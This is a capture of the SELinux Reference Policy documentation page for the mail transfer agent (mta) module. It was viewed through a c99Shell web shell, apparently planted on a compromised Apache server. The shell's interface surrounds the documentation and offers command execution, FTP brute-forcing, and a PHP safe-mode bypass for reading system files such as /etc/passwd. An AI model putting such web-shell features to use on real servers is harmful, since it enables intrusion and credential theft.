!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/selinux-policy-2.4.6/html/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     services_mta.html (32.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Security Enhanced Linux Reference Policy

Layer: services

Module: mta

Interfaces Templates

Description:

Policy common to all email tranfer agents.

Interfaces:

mta_append_spool( domain )
Summary

Create, read, and write the mail spool.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_delete_spool( domain )
Summary

Delete from the mail spool.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_dontaudit_getattr_spool_files( domain )
Summary

Do not audit attempts to get the attributes of mail spool files.

Parameters
Parameter:Description:Optional:
domain

Domain to not audit.

No
mta_dontaudit_read_spool_symlinks( domain )
Summary

Do not audit attempts to read a symlink in the mail spool.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_dontaudit_rw_delivery_tcp_sockets( domain )
Summary

Do not audit attempts to read and write TCP sockets of mail delivery domains.

Parameters
Parameter:Description:Optional:
domain

Mail server domain.

No
mta_dontaudit_rw_queue( domain )
Summary

Do not audit attempts to read and write the mail queue.

Parameters
Parameter:Description:Optional:
domain

Domain to not audit.

No
mta_etc_filetrans_aliases( domain )
Summary

Type transition files created in /etc to the mail address aliases type.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_getattr_spool( domain )
Summary

Get the attributes of mail spool files.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_mailclient( type )
Summary

Make the specified type usable for a mta_send_mail.

Parameters
Parameter:Description:Optional:
type

Type to be used as a mail client.

No
mta_mailcontent( type )
Summary

Make the specified type readable for a system_mail_t

Parameters
Parameter:Description:Optional:
type

Type to be used as a mail client.

No
mta_mailserver( type )
Summary

Make the specified domain usable for a mail server.

Parameters
Parameter:Description:Optional:
type

Type to be used as a mail server domain.

No
mta_mailserver_delivery( domain )
Summary

Make a type a mailserver type used for delivering mail to local users.

Parameters
Parameter:Description:Optional:
domain

Mail server domain type used for delivering mail.

No
mta_mailserver_sender( domain )
Summary

Make a type a mailserver type used for sending mail.

Parameters
Parameter:Description:Optional:
domain

Mail server domain type used for sending mail.

No
mta_mailserver_user_agent( domain )
Summary

Make a type a mailserver type used for sending mail on behalf of local users to the local mail spool.

Parameters
Parameter:Description:Optional:
domain

Mail server domain type used for sending local mail.

No
mta_manage_queue( domain )
Summary

Create, read, write, and delete mail queue files.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_manage_spool( domain )
Summary

Create, read, write, and delete mail spool files.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_read_aliases( domain )
Summary

Read mail address aliases.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_read_config( domain )
Summary

Read mail server configuration.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_read_queue( domain )
Summary

read mail queue files.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_read_sendmail_bin( domain )
Summary

Read sendmail binary.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_rw_aliases( domain )
Summary

Read and write mail aliases.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_rw_spool( domain )
Summary

Read and write the mail spool.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_rw_user_mail_stream_sockets( domain )
Summary

Read and write unix domain stream sockets of user mail domains.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_search_queue( domain )
Summary

search mail queue dirs.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_send_mail( domain )
Summary

Send mail from the system.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_sendmail_domtrans( source_domain , target_domain )
Summary

Execute send mail in a specified domain.

Description

Execute send mail in a specified domain.

No interprocess communication (signals, pipes, etc.) is provided by this interface since the domains are not owned by this module.

Parameters
Parameter:Description:Optional:
source_domain

Domain to transition from.

No
target_domain

Domain to transition to.

No
mta_sendmail_exec( domain )
Summary

Execute sendmail in the caller domain.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
mta_sendmail_mailserver( domain , entry_point )
Summary

Modified mailserver interface for sendmail daemon use.

Description

A modified MTA mail server interface for the sendmail program. It's design does not fit well with policy, and using the regular interface causes a type_transition conflict if direct running of init scripts is enabled.

This interface should most likely only be used by the sendmail policy.

Parameters
Parameter:Description:Optional:
domain

The type to be used for the mail server.

No
entry_point

The type to be used for the domain entry point program.

No
mta_signal( domain )
Summary

Send mail client a signal

Parameters
Parameter:Description:Optional:
domain

The type of the process performing this action.

No
mta_spool_filetrans( domain , private type , object )
Summary

Create private objects in the mail spool directory.

Parameters
Parameter:Description:Optional:
domain

Domain allowed access.

No
private type

The type of the object to be created.

No
object

The object class of the object being created.

No
mta_stub( domain )
Summary

MTA stub interface. No access allowed.

Parameters
Parameter:Description:Optional:
domain

N/A

Yes
mta_tcp_connect_all_mailservers( domain )
Summary

Connect to all mail servers over TCP. (Deprecated)

Parameters
Parameter:Description:Optional:
domain

Mail server domain.

No
Return

Templates:

mta_admin_template( userdomain_prefix , user_domain )
Summary

Provide extra permissions for admin users mail domain.

Parameters
Parameter:Description:Optional:
userdomain_prefix

The prefix of the user domain (e.g., user is the prefix for user_t).

No
user_domain

The type of the user domain.

No
mta_base_mail_template( domain_prefix )
Summary

Basic mail transfer agent domain template.

Description

This template creates a derived domain which is a email transfer agent, which sends mail on behalf of the user.

This is the basic types and rules, common to the system agent and user agents.

Parameters
Parameter:Description:Optional:
domain_prefix

The prefix of the domain (e.g., user is the prefix for user_t).

No
mta_per_role_template( userdomain_prefix , user_domain , user_role )
Summary

The per role template for the mta module.

Description

This template creates a derived domain which is a email transfer agent, which sends mail on behalf of the user.

This template is invoked automatically for each user, and generally does not need to be invoked directly by policy writers.

Parameters
Parameter:Description:Optional:
userdomain_prefix

The prefix of the user domain (e.g., user is the prefix for user_t).

No
user_domain

The type of the user domain.

No
user_role

The role associated with the user domain.

No
Return

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0126 ]--